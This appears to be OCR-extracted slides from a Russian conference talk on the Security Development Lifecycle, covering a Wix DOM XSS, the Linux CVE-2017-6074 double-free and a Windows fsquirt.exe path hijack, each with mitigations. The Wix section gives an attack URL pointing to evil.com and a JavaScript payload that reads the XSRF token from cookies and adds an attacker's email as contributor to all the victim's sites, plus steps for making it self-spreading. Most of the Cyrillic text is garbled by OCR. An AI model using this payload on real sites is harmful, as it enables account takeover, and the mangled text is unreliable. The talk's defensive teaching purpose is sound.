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[lTnaH goknapa

Hayano

[pakTnkn SDL

KopoTko o 7-mu ¢a3zax SDL.
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[ToHATHMe SDL

YTo Takoe n 3auem.




YassumocTb 13 2016

3apaxaem MWIAJINOHbI CAWTOB B

napy Kamkos. Pa3zbop DOM XSS Ha
npumepe.

YassmumocTtb ns 2017

CVE-2017-6074. Linux kernel bug. @ ———mmmmm—m—————————— °
Pasbop  ya3BMUMOCTM  1l-neTHeil
[aBHOCTM.

______________ & . DeHb N3 XKM3HU «[1M»

Ncnonbayem «fsquirt.exe» B OC
Windows 7/8/8.1. Pacckasz o6
OAHOM C/ly4ae U3 }KU3HM KOMMAHUW.

PuHan

MU HEMHOIO MaTepnanos ana NydeHuA
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YTo Takoe SDL?




YTo Takoe SDL?

> KN3HEeHHbIN UMKN obecnedyeHuna Be3onacHocTM npu paspaboTke (Security Development
Lifecycle, SDL) — 370 npouecc obecnedyeHms 6e3onacHocTM B chepe pa3paboTKu
nporpammHoro obecnevenna. Codyetad B cebe Kak r1006anbHbIM, TaK U MNPAKTUYECKUN
noaxon, npouecc SDL npu3BaH YMEHbWUTb YMUCAO YA3BMMOCTEM B MNPOrPaMMHOM
obecneyeHnm 1N ypoBEHb UX CEPLE3HOCTM.
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OCHOBam

6e3onacHoCTu.

TpeboBaHuA

6e3onacHoOCTH.

Kputepun
KauecTsa.

OuEeHKa PMUCKOB.
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Oowue cBegeHus

0 AencTBumax no obecnevyeHunto 6eonacHoCcTK B pamKax SDL

ObyyeHune

TpeboBaHMA K
NPOEKTY.
AHann3

NMOBEPXHOCTH
aTaku.

Moaenb yrpos.

icnonb3oBaHue
0400pEHHbIX
MHCTPYMEHTOB

OTKas oT
Hebe3onacHbIX
bYHKLNIM.
CTaTnyeckuim
aHanus.

JVHamn4eckmi
aHanm3.

@a33uHr.
[lpoBepkKa
NOBEPXHOCTH
aTaku.

Peanusauwusy) lNposepka

[MhaH
pearnposaHmAa
Ha MHUMAEHTbI.

duHanbHas
NpoBepKa
6e3onacHoCTy.
Penuns B apxus.

Peakuuns

BbinosHeHME
niaaHa
pearmpoBaHuA
Ha MHUMOEHTDI.




ObLwan KapTuHa 6e3onacHoOCTHU

Moaun [lpouecc
A'A

n ap.

@ TexHos10rMK
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3APAXKAEM MUNNNOHBLI CAUTOB
B INMAPY KJIMKOB

nnn ncnonbzyem DOM XSS Ha aene



3apaxaem

N music X

&« X O ©® matt4592 wixsite.com/music?ReactSource=http://evil.com

matt4592.wixsite.com says:

/Samy Is my hero/

Prevent this page from creating additional dialogs.

L
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MUNJIMOHbLI CAUTOB:

KIMTUK Ne1

[peaBapmnTeNbHO Pa3MeCTUTb Ha XOCTUHIe YOURSITE . COM
BpeAOHOCHbIM daln:
/PACKAGES-BIN/WIXCODEINIT/WIXCODEINIT.MIN.JS

KIMTUK Ne2

[NobaBnThb:
?REACTSOURCE=HTTP://YOURSITE .COM

K URL anqa noboro carta Ha naatdopme WIX.COM




[lpeBpalwaem aTtaky B 4YepBA

Step 01

Co3paetca cant c DOM XSS B <IFRAME>

Step 02

Monb3oBaTtenb WIX noceltaet AaHHbIA CanUT

Step 03

3apaXKeHHbIN canuT ncnonb3yet NogobHbIM 3anpoc B editor.wix.com u
BHegpsaeT DOM XSS B <IFRAME> Ha canTbl nonb3oBaTens

Step 04

Bce calTbl N0/b30BaTeENS TEMNEPb MMEIOT 3aParKEHHbIN KOHTEHT.
Bo3spart K Step 02
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Kak Tak BbILLO?

Step 01. NonyyeHune napametpa us URL

:> var queryUtil = (function () {

function getParameterFromQuery (query, name) {

name = name.replace(/[\[]1/, "\\[').replace(/[\11/, '"\\1");
var regex = new RegExp ('[\\?&]' + name + '=(["&#]1*)");
var results = regex.exec (query):;
return results && results[l] ? decodeURIComponent (results[1l]) .replace(/\+/g,
Y oo '
}
return {

getParameterByName: getParameterFromQuery.bind(null, window.location.search)

FO) )7
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Kak Tak BbILLO?

Step 02. Co3paHune obveKrta baseVersionOverride gna getFullRJsConfig

:> var config = getFullRjsConfig(getViewerRjsConfig, packagesUtil, {
baseVersionOverride: queryUtil.getParameterByName ('ReactSource'),
artifactName: 'santa'

},serviceTopology) ;

requirejs.config(confiqg) ;
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Kak Tak BbILLO?

Step 03. YcraHoBKa config.baseUrl

:> function getFullRjsConfig(rjsConfigFunc, packagesUtil, artifactData,
{

serviceTopology)

//Call with serviceTopology and all arguments after
var config = rjsConfigFunc.apply(null, Array.prototype.slice.call (arguments, 3));

config = packagesUtil.buildConfig(confiqg);

var isAddress = RegExp.prototype.test.bind (/" https?:\/\//);
config.baseUrl = isAddress(artifactData.baseVersionOverride)

artifactData.baseVersionOverride
JoinURL (artifactPath, artifactData.baseVersionOverride);

?

return config;
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Kak Tak BbILLO?

Step 04. Bbi3os requires.config ¢ HoBbim config.baseUrl

:> var config = getFullRjsConfig(getViewerRjsConfig, packagesUtil, {
baseVersionOverride: queryUtil.getParameterByName ('ReactSource'),
artifactName: 'santa'

},serviceTopology) ;

requirejs.config(config);
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Kak Tak BbILLO?

Step 05. RequirelS 3arpy»Kaet BHelwHue pecypcbl yepes config.baseUrl

:} requirejs.config ({
//By default load any module IDs from Jjs/lib

baseUrl: 'js/lib',
//except, if the module ID starts with "app",

})
> [ceBAOKOA NpoOLLEeCcca 3arpy3Ku:

url = config.baseUrl + url;
var node = document.createElement ('script');
node.src = url;

head.appendChild (node) ;

"‘ MepcneKTUBHbIA MOHUTOPUHT e




Kak Tak BbILLO?

Step 06. PaameweHue payload B dann gna 3arpysku scemu ctpaHmuammu WIX

> [TomecTuTe payload B Pann /packages-bin/wixCodelInit/wixCodeInit.min.js Ballero JOMeHa
(yoursite.com)

> [Mpumep payload:

xsrf = document.cookie.match (/XSRF-TOKEN=(.*?);/)[1]; // get the csrf token
$.9etJSON ('/ api/wix-dashboard-ng-webapp/metaSite', function(data){ // get all the current users sites
data.payload.map (function (site) {

S.ajax ({
type: 'POST',
url: '/ api/wix-dashboard-ng-webapp/authorization/site/'+site.metaSiteId+'/invite’',

data: JSON.stringify({email: "hacker@l133t.com", role: "contributor"}),
headers: { "x-xsrf-token": xsrf},
contentType: "application/json;charset=UTF-8",
success: function(data) {
console.log(data)
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AN

BapuaHTbl ncnonb3oBaHUA

M3meHeHne KOHTeHTa Ha canTe ana
LeieBblX N0/Ib30BaTEeNEMN

YTrOH Nosib30BaTeIbCKMX AaHHbIX WX,
Facebook naun Twitter

ObmaH nonb3osaTenemn canta ANs
3arpy3Kun BpeoHOCHOro no

€pPCrneKTUBHbIN MOHUTOPUHT
|

[loxoz, OT peKknambl NyTeEM BCTaBKM
pPeKknambl Ha BeO-CTpaHMLax

Spoof 6aHKOBCKKMX BEO-CTPaHMUL,

[MonyyeHne NpasB aAMMUHUCTPATOPA
aTakyemoro Beb-canTa




Ucnonb3yem SDL

Peanunsauusa
)
® * lcnonb3ynTe cTaHAapTbl 6e3onacHoro
= NPOrPaMMMPOBAHNSA;

* /Icnonb3yinTe aBTOMaTUYECKME
MHCTPYMEHTbI 0630pa KoAa;

e OcyuwecTBnanTe He3aBUCUMbIN 0630p
KoJZla TPeTben CTOPOHOM UK
cneunanuctamm Ub;

lNMpoBepka

* Icnonb3ymTe NHCTPYMEHTDI
AMHAMMNYECKOro aHaNn3a;

* 3aKaXkKuTe TeCTMpPOBaHME Ha
NPOHMKHOBEHME.
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Code Review Checklist

MpoBepUTb apPryMeHTbl BCEX MpoBEPUTL KHEMMUHIY, MpoBepuTb HeabdeKTUBHOE
MEeTOZ0B, UCMOb3YEMbIX Ha dopmaTnpoBaHme 1 1.4, MCMNO/Ib30BaHME PEecypcoB
KPUTUYHOM y4acTKe

[poBepuTb MecCTa rae toHUT [MpoBepUTb CCbiNKM Ha null [MpoBEpPUTb aCNEeKTbl
TECTbl HE MOKPbINAM 6e30MacHOCTM B KoAe
onpeaeneHHyto obnacTtb
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Kak Bce ncnpaButb?

6 HEEN main-r.min.js View
var serviceURL = joinURL.bind(null, scriptsLocation, ‘services', 'third-party'); var serviceURL = joinURL.bind(null, scriptsLocation, ‘services', ‘third-party'};
var getIntegrationPath = function () { var getIntegrationPath = function () {

- if (gueryltil.getParameterByName( ' ReactSource') === "hitp://localhost’) { 188 + if (window.santaBase === 'http://localhosty') {
return ‘http://localhost:4578' return ‘http://localhost:4578'
¥ else { ¥ else {
return 'http://s3.amazonaws.com/integration-tests-statics/SHAPSHOT /runners’ return 'http://s3.amazonaws.com/integration-tests-statics/SHAPSHOT /runners’
} }
1 1
- if (queryUtil.getParameterByName('ReactSource') === 'http://localhost' && 1555 | # if (Window.santaBase === 'http://localhost)’ &&
queryUtil.getParameterByName( 'hot') !== 'false'} { queryUtil.getParameterByName( 'hot') !== 'false'} {
requirejs{['hot', 'zepto'], function (hot, %} { reguirejs{['hot', 'zepto'], function (hot, %} {
hot.init($); 1 hot.init($);
var config = getFullRisConfig(getviewerRjsConfig, var config = getFullRisConfig(getViewerRjsConfig,
packagesUtil, packagesUtil,
{ {
a4 | - baseVersionQverride: gueryUtil.getParameterByName('ReactSource'), S baseVersionQverride: window.santaBase,
artifacthlame: ‘santa’ artifactilame: ‘santa’
}J }J
serviceTopology); serviceTopology);
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CVE-2017-6074. LINUX KERNEL BUG

MAn nodyemy owmnbkre 11 net



Kak Tak BbILLO?

[lceBspoKoa;

:> kfree (pointer)

some object = kmalloc ()

kfree (pointer)
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Kak Tak BbILLO?

[lceBspoKoa;

:> kfree (pointer)
some object = kmalloc ()

kfree (pointer)

Proof-of-concept:

:> https://github.com/xairy/kernel -
exploits/tree/master/CVE-2017-6074
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https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074

AN

OueHka nocnegcreun

PACKPbITUE UHOOPMALUU

B namaATn morKeT oKka3aTbCA yKa3aTeb Ha BCe
YTO YroAHo

MOANPUKALMA UHGOPMALUU

Vicnonb3oBaHMe  paHee  OCBOOOMKAEHHOM
NamATU MOXET NOoBPeAUTb AEeNCTBUTE/bHbIE
NaHHble, ecanm obnacte namatn  Obina
BblA€NE€Ha M  WUCMOMb30BaHa  AO/IKHbIM
06pa3om B Apyrom mecrte

€pPCrneKTUBHbIN MOHUTOPUHT

HAPYLWUEHUE AOCTYNMHOCTU

Echv  KoHconmpaums  4aHkoB  (chunk)
NpoucxoauT MNOC/Ae MCNOoNb30BaHMA paHee
OCBODOOMAEHHbIX  AaHHbIX, TO  MOXeT
npousontn  cboi, ecam B  KayecTse

nHdopmaumm o PparmeHTe KMCNOAb3yeTca
HeA0MNYyCTUMbI YaHK

BbIMO/IHEHUE KOAA

[1BoiHOE o0cCcBODOXKAEHME MAMATU  MOXKET
NPUBECTM K TOMYy, 4TO npumutme “Write-
what-where” no3BOAUT 310YMbILLIAEHHMKY
BbIMO/IHUTb MPOU3BO/IbHbIN KO/,




Ucnonb3yem SDL

NMpoekTupoBaHue

% * [To BO3MOXHOCTU MCI'IO/'Ib3YlZTe A3blK,
KOTOprM obecneynBaeT aBTOMATMYECKOE

yrnpasaeHne namaTbio
Peanusauus

@ * Micnonb3ymte npaBuaa N0  YNpPaBAEHMUIO

NamsaTblO;

* [locne ocBOOOXKAEHNA NAMATU, YCTaHOBUTE
yKasaTe/ib Ha 3Ty namATb B NULL;

* Mpn OOI[, ybeauTecb, 4YTO AECTPYKTOPLI
OOBEKTOB  YAANAT  KarkAblM  y4acToK
NaMATN TO/IbKO OAWH Pa3s;

* Icnonb3ymTe WHCTPYMEHTbI CTAaTUYECKOro
aHan3a.

NMpoBepka

* Mcnonbsynte MHCTPYMEHTb

ANHaMMNYeCKOro aHa/in3a,
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Kak Bce ncnpaButb?

Ll torvalds / linux @ Watch | 5,381 W Star | 42,988 % Fork | 16,361
<» Code Pull requests 135 Projects ‘0 Pulse Graphs
dccp: fix freeing skb too early for IPV6_RECVPKTINFO Browwss: Folas
.
OTkAtounTb DCCP: it el R g st T, S Tom s R U ST pathh
is forcibly freed wia _ kfree skb in dccp rcv state process if

dccp_ w6 _conn_request successftully returns.

LA / . / 11 Howewer, if IPV6_RECVPKTINFO is set on a socket, the address of the skb
# eCho lnStall dccp bln true >> is saved to ireq->pktopts and the ref count for skb is incremented in
dccp w6 _conn_request, so skb is still in use. Nevertheless, it gets freed

/etc/modprobe.d/disable-dccp.conf 1ajdecp rov. siute pracess.

Fix by calling consume_skb instead of doing goto discard and therefore
calling _ kfree skb.

similar fixes for TCP:

> 3arpysuTb natu:

fb7e239 [TCP]: skb is unexpectedly freed.
Baca7eéd tcp: SYN packets are now
simply consumed

https://github.com/torvalds/linux/ zesserre: s koo, adoiigemsic. con
commit/5edabcad9d4cff7f1f2b68f0bach

Signed-off-by: David S. Miller <davem@davemloft.net>

i-? master (#4) 5 v4TN1c2 .. w410

5 e f 9 9 d 9 7 9 8 ba 4 =" xairy committed with davem330 29 days ago 1 parent 785f357 commit Sedabca@ddcff7f1F2b68FBbacS5efI9d9798badt
Showing 1 changed file with 2 additions and 1 deletion. | Unified I Split
3 EEE net/dccpsinput.c View
==

+
if (inet_csk(sk)-ricsk_af_ops->conn_request{sk,
skb) < @)
return 1;
- gpoto discard;
consume_skb{skb);

return @;
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OAVH OEHb N3 XN3HU «ITM»

MAn ncnonbsyem «fsquirt» 8 Windows cBonmum pykamm

" MepcneKTUBHbIA MOHUTO pPUHF \/
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Process Monitor

=

Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools

Options  Help

1:27:10.637208... [,

EH RABE| A& E

1824 @ RegOpenkey

1824 E.Headﬂe

1824 E.Headﬂe
1824 Sk ReadFile

Imslﬂlﬁgll

HELMSoftware Microsoft \Windows CumentVersion Side By Side \ AssemblyStora...

C:\Program Files\Windows Portable Devices'sgmapi.dll

E Wndnws\Syst?.Z\csmi dll
CaWindows \System 32 whem

SUCCESS
NAME NOT

Time of Day Process Name PID  Operation Result Detail
12710637067, . Esvc:host.exe 704 @¥RegClosskey  HKCR\CLSIDW{0CS281F9-6DA1-4006-8723-DEGERBG15E1C) SUCCESS
1:27:10.637075... 8-'svchost.exe 704 @ RegClosekey  HKCRVCLSIDN{OCS281F9-5DA1-4006-8723- DEGEGBS1581C) SUCCESS
1:27:10.637083... ¥ 'svchost exe 704 ﬂﬂeg[ﬂoseKey HKC LU Software"Classes SUCCESS
1.27:10637161... [ 1824 E\Uoseﬁle CA\Windows\System 32cscui dll SUCCESS

-MNAME NOT FOUND Desired Access: Enumerate Sub Keys

1:27:10.637331... 1824 @%RegOueryKey HKLM SUCCESS Query: Handle Tags, Handle Tags: 0x0
12710637341 1824 @ ReqOpenkey  HKLM\SOFTWARE\MICROSOFT\WINDOWS\Cument Version\ImmersiveShellh... NAME NOT FOUND Desired Access: Guery Value
12710637344, | 1824 gt}ea’[eﬁle C:\Windows \Explorer. EXE Local MAME NOT FOUND Desired Access: Read Attibutes, Dispe
1.27:10.637375... 1824 E\F{eadﬁle CA\Windows"System 32 wpncore dil SUCCESS Offset: 271,360, Length: 4,096, 170 Rz
12710637426 [ 5 1824 gl}eate File CAWindows \WinSx5'amd&4_microsoft windows common-controls_6555b664144. . SUCCESS Desired Access: Execute/Traverse, S5y
1:27:10.637587... [ 1824 ZhReadFile C\Windows\System 32\cscui dil SUCCESS Cffset: 392,704, Length: 512, 1/0 Flag:
12710637725, | 1824 &% load Image C:A\Program Files"\Windows Portable Devices‘sqmapi.dl SUCCESS Image Base: &« ccchfO00D, Image Si
1:27:10.637740. . 1824 EUOSEFIB C:\Program Files\Windows Portable Devices'sgmapi.di SUCCESS

Offset: 264,152, Length: 2,560, 1/0 Flz

|
Offset: 392704, Length: 512, Ir’O Flag:
Offset: 8,132, Length: 4,096, 10 Flags

C:\Windows'\System 32 cscui dil Cffset: 46,080, Length: 32?63 I.-’O Flz

A ! ! MAME NOT FOUND Desired Access: ]
NAME NOT FOUND Desired Acce
MAME NOT FOUND Desired Ac :Read Attrbutes,
MNAME NOT FOUND Desired Access: Read Atributes,
MAME NOT FOUND Desired Access: Read Aftributes,
MAME NOT FOUND Desired Access: Read Attributes,
MNAME NOT FOUND Desired Access: Read Atributes,
MAME NOT FOUND Desired Access: Read Aftributes,

stem 32 Windows PowerShelw 1.0 zquirt exe
M TortoizeHg \fequirt exe

Head N‘l‘nbutcs.

Lisers J.LE-Ef‘.AppDEfEI \Roaming'npmfsquirt exe
Cradb\squirnt exe

, SUCCESS CQueny: HandleTags, Handle Tags: (0
12710657687, (5 1824 ﬂﬂegﬂpenl(ey HELM\Software \WMicrosoft \Windows \CumentVersion\ IR L\ Prefies SUCCESS Desired Access: Query Value
1.27:10.657705... 1824 ﬂﬂegEnumValue HELM\SOFTWARE \Microsoft \Windows \Cument Version\URL"Prefices SUCCESS Index: 0, Name: mosaic, Type: REG_S
1:27:10.657725. . 1824 ﬂﬂegEnumValue HELMMSOFTWARE \Microsoft \Windows \Cument Version URL \Prefies SUCCESS Index: 0, Mame: mosaic, Type: REG_S
1:27:10.657735. . 1824 ﬁﬂeg EnumValue  HKLM\SOFTWARE Microsoft \Windows\Cument Version\LUR L \Prefixes SUCCESS Indexc: 1, Mame: www, Type: REG_SZ
12710657743, 1824 ﬂﬂegEnumValue HELM\SOFTWARE Microseoft \ Windows Cument Version R L \Prefies SUCCESS Index: 1, Name: www, Type: REG_SZ
1:27:10.657751... 1824 ﬁﬂeg EnumValue HKLM\SOFTWARE \Microsoft\Windows \Cument Version\ IR L Prefies SUCCESS Index: 2, Name: home, Type: REG_52
1:27:10.657758. . 1824 ﬂﬂegEnumValue HELM\SOFTWARE \Microsoft \Windows Cument Version IR L "\Prefices SUCCESS Index: 2, Name: home, Type: REG_5Z
1:27:10.657766... [ 1824 ﬂﬂegEﬂumValue HEKLM\SOFTWARE \Microsoft \Windows \Cument Version URL \Prefies SUCCESS Index: 3, Name: ftp, Type: REG_SZ, L
12710657774, 1824 ﬂﬂeg&um‘u’alue HELM\SOFTWARE \Microsoft \Windows \Curmrent Version\ LR L"\Prefices SUCCESS Index: 3. Name: ftp, Type: REG_SZ, L
127:10.657781... 1824 @ RegErumValue HKLMM\SOFTWARE\Microsoft\Windows \Cument Version' URL Prefies MO MORE ENTRI... Index: 4, Length: 782
1:27:10.6577591... 1824 ﬂﬂeg[]osel(ey HELM\SOFTWARE \Microsoft \Windows Cumrent Version UR L \Prefies SUCCESS
1:27:10.658014. . 1824 @\F{eadﬂle C:\Windows"System32'bthprops . cpl SUCCESS Cffset: 205.312, Length: 15,360, IO F
19740 CRONOQ 1094 D= ATl LR e e I L B e clri~rcoc Tt 100 G0 | ;b 18 904 140 C
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[Tlpumep aKkcnnyaTauun

o] Process Explorer - Sysinternals: www.sysinternals.com [win8_msvs2015\xi-tauw] - O
File Options View Find Users Help
e IEE 1| 1| | 0[]
Process CPU  Private Bytes ~ Working Set  PID  Description Company Name ]
B WmiPrvSE exe 1360 K 5772K 1676
(=7 svehost exe 2896 K 6244 K 612 ¥pctnpouece anA cmyxd .. Microsoft Comoration
[m 7| svchost exe 15948 K 20 796 K 772 ¥ocT-npouece anA cnyx6 ... Microsoft Corporation
= (7| svchost exe 516K 42872 K 808 XocTnpouscc anA cnyxd ... Microsoft Corporation
=7 taskhostex.exe 1908 K 6980 K 1648 XocTnpouece ana sapay W... Microsoft Corporation
0.01 490K 10100 K 836 Xocrnpouece anA cryxd ... Microsoft Corporation
= 40492 K 43176 K 5908 XocTnpouecc anA oy ... Microsoft Comporation
1416K 54D0K 2040
=hE 0.22 60652 K T3440K 1000 Xocrnpouece anAcmyxd ... Microsoft Corporation
= rdpclip exe 2972K 7996 K 2076 MonwTop Gypepa oimena R... Microsoft Corporation
e spoalsy EXe 0o 4544 K 12780 K 624 Oucretyep ouepes nevam  Microsoft Corporation
[i 11672 K 16244 K 716 Xocrnpouece anA cryxG ... Microsoft Comporation
3128K 10812K 1104 XocT-npouecc anA cyxG ... Microsoft Corporation
T40EK 11088K 1140 Microsoft Corporation
T4 K 3432 K 1232 JetBrains ETW Collector Host  JetBrains sr.o
384K 5H16K 1276 SGL Server VSS Whiter - 64 Bit Microsoft Corporation
0.03 339 484 K 252 012K 1368 Artimabwara Sanics Fracit  Micmentt Camarstion -
3812K 4036K 1336 @& C\SpecialDirFromPath\fsquirt.exe ==
<0.01 2608K 7436K 1980 e11n from: EEGUIre exe
1472K G SRk Mon itoring . pu "
Isvchost exe 1600 K 5260 K 3008
= - Searchindexer.exe 21544 K 12128K 2316
<0.01 1820K 6368K 1812
1000 K 47284 K 488
3700 K 5512K 524
1636 K 7624 K 456
2838 K 37480K 696
32284 K 45764K 7
0.05 1464 K 13832K 2556
1376 K 53as2K 2588
0:23 10230 K MTBK 2720
0.04 400K 74 584 K| 1500
= [m77]fsquirt exe 0.02 858K 8412K 3180
[E conhost exe 0.07 1042 K 552K 3216
+&* TortoiseHgOverayServer exe 11704 K 18084 K 3436
= L procexp exe 2280 K 7872K 3586
2 procexp64.exe 0.52 3532K 25408K 3576
w

CPU Usage: 1.32%  Commit Charge: 21.29% Processes: 45 Physical Usage: 39.60%

N X
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Ucnonb3yem SDL

> Onpepenerue TpebosaHuint Vb
> AHanun3s/cokpalleHne NOBEPXHOCTH aTaKu

> TecTMpoBaHMe CTOPOHHUX KOMMOHEHT
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Kak Bce ncnpaButb?

> YT0ObI 0H6e30nacnTb ceba OT TaKOM aTaKM CTOUT B3ATb MYCTOM MCNOAHAEMbIN Gana, KOTOPbIN
HUYero He AenaeT, U NOMEeCTUTb ero no Nyt «C: \Windows\system32\fsquirt.exen.

B Takom cnyyae byaeTt 3anyweHo AaHHOE MPUAOXKEHUE, U He DyaeT OCYyLLeCTBAATLCA MOMCK
MHbIX NyTen ncnonHenus. B Windows 10 aaHHbIM pann nmeeTcs.
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Y10 ynmtaTth?

The Security Development Lifecycle

OWASP Code Review Guide & OWASP Testing Guide

Best Kept Secrets of Peer Code Review

VNV NV NV

Baor komnaHum «lepcneKkTUBHbIM MOHUTOPUHI» Ha Xabpaxabp
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I X MEXPEMMOHAJIBHAA KOHOEPEHLIA
PA3PABOTHWUKOB MPOTPAMMHOTO OBECIEYEHNA
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BacuH BayecnaB

CucteMHbIn aHanuTuk 3A0 «[lNepcnekTUBHBLIN MOHUTOPUH»

vyacheslav.vasin@amonitoring.ru

dev.vasinofficial@gmail.com
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